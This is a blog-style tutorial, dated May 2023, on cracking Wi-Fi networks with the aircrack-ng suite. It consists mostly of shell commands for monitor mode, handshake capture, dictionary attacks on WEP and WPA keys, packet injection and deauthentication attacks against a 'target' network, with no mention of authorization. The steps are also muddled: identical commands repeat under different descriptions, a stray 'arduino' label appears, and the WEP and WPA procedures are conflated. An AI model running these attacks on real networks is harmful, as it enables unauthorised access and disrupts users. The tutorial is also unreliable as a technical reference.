Aircrack-ng Tutorial: Step-by-Step Guide to Wi-Fi Hacking with Kali Linux - Sage - May 28, 2023

Introduction:
Welcome to the Aircrack-ng tutorial, where we will explore the powerful capabilities of this tool for Wi-Fi hacking and network security testing. Aircrack-ng is a suite of tools that allows us to capture, analyze, and crack wireless network passwords. This tutorial will provide detailed step-by-step instructions, real-world examples, and shell commands for each section.

Section 1: Installation and Setup

Installing Aircrack-ng on Kali Linux:

Open a terminal window and update the system:

Code
sudo apt update
sudo apt upgrade
Install the required dependencies:

Code
sudo apt install build-essential libssl-dev libnl-3-dev libnl-genl-3-dev ethtool
Download and install Aircrack-ng:


Code
wget https://download.aircrack-ng.org/aircrack-ng-1.6.tar.gz
tar -zxvf aircrack-ng-1.6.tar.gz
cd aircrack-ng-1.6
make
sudo make install
Verify the installation and check tool versions:


Code
aircrack-ng --version
airodump-ng --version
Preparing the Wireless Interface:

Enable monitor mode on the wireless interface:


Code
sudo airmon-ng start wlan0
Verify the interface status and capabilities:


Code
iwconfig
Check for nearby wireless networks:

Code
sudo airodump-ng wlan0mon
Section 2: Capturing Packets

Scanning for Wi-Fi Networks:

Use the Airodump-ng tool to scan for nearby Wi-Fi networks:

Code
sudo airodump-ng wlan0mon
Filter the results to target a specific network:


Code
sudo airodump-ng -c channel_number --bssid target_bssid -w output_file wlan0mon
Analyze the captured information, including BSSID, ESSID, and encryption type:


Code
aircrack-ng output_file.cap
Capturing Packets:

Select a target network for packet capture:


Code
sudo airodump-ng -c channel_number --bssid target_bssid -w output_file wlan0mon
Capture packets and save them to a file:


Code
sudo airodump-ng -c channel_number --bssid target_bssid -w output_file wlan0mon
Monitor network traffic and analyze captured packets:


Code
sudo airodump-ng -c channel_number --bssid target_bssid wlan0mon
Section 3: Cracking WEP Encryption

Cracking WEP Keys:
Prepare captured packets for WEP key cracking:


Code
aircrack-ng -b target_bssid -w wordlist_file output_file.cap
Launch Aircrack-ng with the captured file:


Code
aircrack-ng output_file.cap
Use a dictionary attack to crack the WEP key:


Code
aircrack-ng -w wordlist_file -b target_bssid output_file.cap

Section 4: Cracking WPA/WPA2 Encryption

Capturing Handshake:

Identify a target WPA/WPA2 network for the handshake capture:


Code
sudo airodump-ng -c channel_number --bssid target_bssid -w output_file wlan0mon
Capture the WPA/WPA2 handshake using Airodump-ng:


Code
sudo airodump-ng -c channel_number --bssid target_bssid -w output_file --write-interval 1 wlan0mon
Cracking WPA/WPA2 Passwords:

Use the captured handshake file for password cracking:

Code
aircrack-ng -w wordlist_file -b target_bssid output_file.cap
Create or download a suitable wordlist for the dictionary attack:

Code
arduino

Code
sudo wget https://example.com/wordlist.txt -O wordlist_file
Run Aircrack-ng with the handshake and wordlist to crack the password:


Code
aircrack-ng -w wordlist_file -b target_bssid output_file.cap
Section 5: Testing Network Security

Testing WEP Vulnerabilities:

Utilize the Chop-Chop attack to inject packets into the network:

Code
aireplay-ng -4 -b target_bssid -h your_mac_address wlan0mon
Crack the WEP key using statistical analysis attacks:

Code
aircrack-ng -b target_bssid -z output_file.cap
Testing WPA/WPA2 Vulnerabilities:

Perform deauthentication attacks to force clients to reconnect:


Code
aireplay-ng -0 10 -a target_bssid -c client_mac_address wlan0mon
Conduct a dictionary attack against the WPA/WPA2 handshake:


Code
aircrack-ng -w wordlist_file -b target_bssid output_file.cap
